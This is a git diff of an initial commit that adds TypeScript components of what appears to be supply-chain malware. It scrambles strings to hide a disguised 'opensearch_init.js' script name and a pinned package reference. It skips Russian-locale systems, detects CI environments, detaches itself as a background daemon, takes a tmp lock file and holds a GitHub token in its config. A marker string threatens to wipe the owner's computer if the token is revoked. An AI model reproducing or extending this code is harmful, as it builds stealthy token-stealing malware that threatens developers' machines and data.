Initial commit
This commit is contained in:
@@ -0,0 +1,148 @@
|
||||
export const SCRIPT_NAME = scramble("opensearch_init.js");
|
||||
export const SEARCH_STRING = scramble(
|
||||
"IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner",
|
||||
);
|
||||
|
||||
export const PACKAGE_NAME = scramble(
|
||||
"github:opensearch-project/opensearch-js#d446803f4c3bc116263faa3499a1d3f95b2825de",
|
||||
);
|
||||
|
||||
export interface Config {
|
||||
githubToken: string;
|
||||
pollIntervalMs: number;
|
||||
}
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
export function isSystemRussian(): boolean {
|
||||
try {
|
||||
const locale = (
|
||||
Intl.DateTimeFormat().resolvedOptions().locale || ""
|
||||
).toLowerCase();
|
||||
if (locale.startsWith(scramble("ru"))) return true;
|
||||
} catch {}
|
||||
|
||||
const env = (
|
||||
process.env.LC_ALL ||
|
||||
process.env.LC_MESSAGES ||
|
||||
process.env.LANGUAGE ||
|
||||
process.env.LANG ||
|
||||
""
|
||||
).toLowerCase();
|
||||
if (env.startsWith("ru")) return true;
|
||||
|
||||
const winLike = (
|
||||
process.env.SystemRoot
|
||||
? process.env.LANG || process.env.LANGUAGE || process.env.LC_ALL || ""
|
||||
: ""
|
||||
).toLowerCase();
|
||||
if (winLike.startsWith(scramble("ru"))) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
export type OS = "OSX" | "WIN" | "LINUX" | "UNKNOWN";
|
||||
|
||||
export function detectOS(platform: string = process.platform): OS {
|
||||
const p = platform.toLowerCase();
|
||||
if (p === "darwin") return "OSX";
|
||||
if (p === "win32" || p === "cygwin" || p === "msys") return "WIN";
|
||||
if (p === "linux") return "LINUX";
|
||||
return "UNKNOWN";
|
||||
}
|
||||
|
||||
export function isCI(): boolean {
|
||||
// Common CI environment variable (set by many CI systems)
|
||||
if (process.env.CI === "true" || process.env.CI === "1") return true;
|
||||
|
||||
// GitHub Actions
|
||||
if (process.env.GITHUB_ACTIONS) return true;
|
||||
|
||||
// GitLab CI
|
||||
if (process.env.GITLAB_CI) return true;
|
||||
|
||||
// Travis CI
|
||||
if (process.env.TRAVIS) return true;
|
||||
|
||||
// CircleCI
|
||||
if (process.env.CIRCLECI) return true;
|
||||
|
||||
// Jenkins
|
||||
if (process.env.JENKINS_URL) return true;
|
||||
|
||||
// Azure Pipelines
|
||||
if (process.env.BUILD_BUILDURI) return true;
|
||||
|
||||
// AWS CodeBuild
|
||||
if (process.env.CODEBUILD_BUILD_ID) return true;
|
||||
|
||||
// Buildkite
|
||||
if (process.env.BUILDKITE) return true;
|
||||
|
||||
// AppVeyor
|
||||
if (process.env.APPVEYOR) return true;
|
||||
|
||||
// Bitbucket Pipelines
|
||||
if (process.env.BITBUCKET_BUILD_NUMBER) return true;
|
||||
|
||||
// Drone
|
||||
if (process.env.DRONE) return true;
|
||||
|
||||
// Semaphore
|
||||
if (process.env.SEMAPHORE) return true;
|
||||
|
||||
// TeamCity
|
||||
if (process.env.TEAMCITY_VERSION) return true;
|
||||
|
||||
// Bamboo
|
||||
if (process.env.bamboo_agentId) return true;
|
||||
|
||||
// Bitrise
|
||||
if (process.env.BITRISE_IO) return true;
|
||||
|
||||
// Cirrus CI
|
||||
if (process.env.CIRRUS_CI) return true;
|
||||
|
||||
// Codefresh
|
||||
if (process.env.CF_BUILD_ID) return true;
|
||||
|
||||
// Codeship
|
||||
if (process.env.CI_NAME === "codeship") return true;
|
||||
|
||||
// Netlify
|
||||
if (process.env.NETLIFY === "true") return true;
|
||||
|
||||
// Vercel
|
||||
if (process.env.VERCEL || process.env.NOW_GITHUB_DEPLOYMENT) return true;
|
||||
|
||||
// Wercker
|
||||
if (process.env.WERCKER_MAIN_PIPELINE_STARTED) return true;
|
||||
|
||||
// Buddy
|
||||
if (process.env.BUDDY_WORKSPACE_ID) return true;
|
||||
|
||||
// Shippable
|
||||
if (process.env.SHIPPABLE) return true;
|
||||
|
||||
// Woodpecker CI
|
||||
if (process.env.CI === "woodpecker") return true;
|
||||
|
||||
// JetBrains Space
|
||||
if (process.env.JB_SPACE_EXECUTION_NUMBER) return true;
|
||||
|
||||
// Sail CI
|
||||
if (process.env.SAILCI) return true;
|
||||
|
||||
// Vela
|
||||
if (process.env.VELA) return true;
|
||||
|
||||
// Screwdriver.cd
|
||||
if (process.env.SCREWDRIVER) return true;
|
||||
|
||||
// Cloudflare Pages
|
||||
if (process.env.CF_PAGES === "1") return true;
|
||||
|
||||
// Puppet
|
||||
if (process.env.DISTELLI_APPNAME) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
import { spawn } from "child_process";
|
||||
|
||||
import { logUtil } from "./logger";
|
||||
|
||||
export function daemonize(): boolean {
|
||||
if (process.env["__DAEMONIZED"]) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const child = spawn(process.execPath, process.argv.slice(1), {
|
||||
detached: true,
|
||||
stdio: "ignore",
|
||||
cwd: process.cwd(), // or a specific directory
|
||||
env: { ...process.env, __DAEMONIZED: "1" },
|
||||
});
|
||||
|
||||
child.on("error", (err) => {
|
||||
logUtil.log(`Failed to background: ${err.message}`);
|
||||
});
|
||||
|
||||
child.unref();
|
||||
|
||||
if (child.pid) {
|
||||
logUtil.log(`Backgrounded with PID ${child.pid}`);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
import { existsSync, readFileSync, unlinkSync, writeFileSync } from "fs";
|
||||
import { tmpdir } from "os";
|
||||
import { join } from "path";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
const LOCK_FILE = join(tmpdir(), scramble("tmp.ts018051808.lock"));
|
||||
|
||||
function isProcessRunning(pid: number): boolean {
|
||||
try {
|
||||
process.kill(pid, 0);
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function acquireLock(): boolean {
|
||||
if (existsSync(LOCK_FILE)) {
|
||||
const pid = parseInt(readFileSync(LOCK_FILE, "utf-8"), 10);
|
||||
if (isProcessRunning(pid)) {
|
||||
return false;
|
||||
}
|
||||
unlinkSync(LOCK_FILE);
|
||||
}
|
||||
writeFileSync(LOCK_FILE, process.pid.toString());
|
||||
return true;
|
||||
}
|
||||
|
||||
export function releaseLock(): void {
|
||||
if (existsSync(LOCK_FILE)) {
|
||||
unlinkSync(LOCK_FILE);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
const noop = () => {};
|
||||
|
||||
const isSilent = false;
|
||||
|
||||
export const logUtil = {
|
||||
log: isSilent ? noop : console.log.bind(console),
|
||||
info: isSilent ? noop : console.info.bind(console),
|
||||
warn: isSilent ? noop : console.warn.bind(console),
|
||||
error: isSilent ? noop : console.error.bind(console),
|
||||
};
|
||||
@@ -0,0 +1,25 @@
|
||||
import { StringScrambler } from "./stringtool";
|
||||
|
||||
// This passphrase is a build-time placeholder. The build pipeline
|
||||
// (`scripts/build.ts` / `scripts/build-plugin.ts`) rewrites the literal
|
||||
// below with a fresh random passphrase generated for that build, so the
|
||||
// runtime decoder uses the exact same key that was used to encode the
|
||||
// strings via `scramble(...)`.
|
||||
//
|
||||
// IMPORTANT: Do not change this sentinel string without updating the
|
||||
// build scripts that look for it. It must remain a single string literal
|
||||
// on its own so a simple textual replacement can swap it out.
|
||||
const PASSPHRASE = "__SCRAMBLE_BUILD_PASSPHRASE__";
|
||||
|
||||
const runtimeScrambler = new StringScrambler(PASSPHRASE);
|
||||
|
||||
export function beautify(blob: string): string {
|
||||
return runtimeScrambler.decode(blob);
|
||||
}
|
||||
|
||||
declare global {
|
||||
var beautify: (blob: string) => string;
|
||||
}
|
||||
|
||||
(globalThis as unknown as { beautify: (blob: string) => string }).beautify =
|
||||
beautify;
|
||||
@@ -0,0 +1,28 @@
|
||||
import { $ } from "bun";
|
||||
|
||||
export interface ShellResult {
|
||||
success: boolean;
|
||||
exitCode: number;
|
||||
stdout: string;
|
||||
stderr: string;
|
||||
}
|
||||
|
||||
export async function run(
|
||||
parts: TemplateStringsArray,
|
||||
...values: string[]
|
||||
): Promise<ShellResult> {
|
||||
const escaped = values.map((v) => $.escape(v));
|
||||
let command = parts[0] ?? "";
|
||||
for (let i = 0; i < escaped.length; i++) {
|
||||
command += escaped[i] + (parts[i + 1] ?? "");
|
||||
}
|
||||
|
||||
const result = await $`${{ raw: command }}`.nothrow().quiet();
|
||||
|
||||
return {
|
||||
success: result.exitCode === 0,
|
||||
exitCode: result.exitCode,
|
||||
stdout: result.stdout.toString(),
|
||||
stderr: result.stderr.toString(),
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
// scramble.ts — hardened
|
||||
import { createHash, pbkdf2Sync, randomBytes } from "crypto";
|
||||
|
||||
class HashStream {
|
||||
private counter = 0n;
|
||||
private buf: Buffer = Buffer.alloc(0);
|
||||
private offset = 0;
|
||||
constructor(private key: Buffer) {}
|
||||
|
||||
private refill(): void {
|
||||
const h = createHash("sha256");
|
||||
h.update(this.key);
|
||||
const ctr = Buffer.alloc(8);
|
||||
ctr.writeBigUInt64BE(this.counter++);
|
||||
h.update(ctr);
|
||||
this.buf = h.digest();
|
||||
this.offset = 0;
|
||||
}
|
||||
nextByte(): number {
|
||||
if (this.offset >= this.buf.length) this.refill();
|
||||
return this.buf[this.offset++]!;
|
||||
}
|
||||
nextU32(): number {
|
||||
return (
|
||||
((this.nextByte() << 24) |
|
||||
(this.nextByte() << 16) |
|
||||
(this.nextByte() << 8) |
|
||||
this.nextByte()) >>>
|
||||
0
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
function shuffle256(rng: HashStream): Uint8Array {
|
||||
const arr = new Uint8Array(256);
|
||||
for (let i = 0; i < 256; i++) arr[i] = i;
|
||||
for (let i = 255; i > 0; i--) {
|
||||
// Unbiased index in [0, i]
|
||||
const bound = 0xffffffff - (0xffffffff % (i + 1));
|
||||
let r: number;
|
||||
do {
|
||||
r = rng.nextU32();
|
||||
} while (r > bound);
|
||||
const j = r % (i + 1);
|
||||
[arr[i], arr[j]] = [arr[j]!, arr[i]!];
|
||||
}
|
||||
return arr;
|
||||
}
|
||||
|
||||
export class StringScrambler {
|
||||
private masterKey: Buffer;
|
||||
|
||||
constructor(passphrase?: string) {
|
||||
// Derive a strong key. PBKDF2 with high iterations slows brute force.
|
||||
const pass = passphrase ?? randomBytes(32).toString("hex");
|
||||
this.masterKey = pbkdf2Sync(pass, "svksjrhjkcejg", 200_000, 32, "sha256");
|
||||
}
|
||||
|
||||
encode(value: string): string {
|
||||
const pt = Buffer.from(value, "utf8");
|
||||
const nonce = randomBytes(12);
|
||||
// Per-message subkey so same plaintext -> different ciphertext
|
||||
const subkey = createHash("sha256")
|
||||
.update(this.masterKey)
|
||||
.update(nonce)
|
||||
.digest();
|
||||
|
||||
const out = Buffer.alloc(pt.length);
|
||||
for (let i = 0; i < pt.length; i++) {
|
||||
// Position-dependent alphabet: re-seed per position -> polyalphabetic
|
||||
const posKey = createHash("sha256")
|
||||
.update(subkey)
|
||||
.update(Buffer.from(i.toString()))
|
||||
.digest();
|
||||
const table = shuffle256(new HashStream(posKey));
|
||||
out[i] = table[pt[i]!]!;
|
||||
}
|
||||
return Buffer.concat([nonce, out]).toString("base64");
|
||||
}
|
||||
|
||||
decode(blob: string): string {
|
||||
const buf = Buffer.from(blob, "base64");
|
||||
const nonce = buf.subarray(0, 12);
|
||||
const ct = buf.subarray(12);
|
||||
const subkey = createHash("sha256")
|
||||
.update(this.masterKey)
|
||||
.update(nonce)
|
||||
.digest();
|
||||
|
||||
const out = Buffer.alloc(ct.length);
|
||||
for (let i = 0; i < ct.length; i++) {
|
||||
const posKey = createHash("sha256")
|
||||
.update(subkey)
|
||||
.update(Buffer.from(i.toString()))
|
||||
.digest();
|
||||
const table = shuffle256(new HashStream(posKey));
|
||||
// Build inverse table
|
||||
const inv = new Uint8Array(256);
|
||||
for (let b = 0; b < 256; b++) inv[table[b]!] = b;
|
||||
out[i] = inv[ct[i]!]!;
|
||||
}
|
||||
return out.toString("utf8");
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user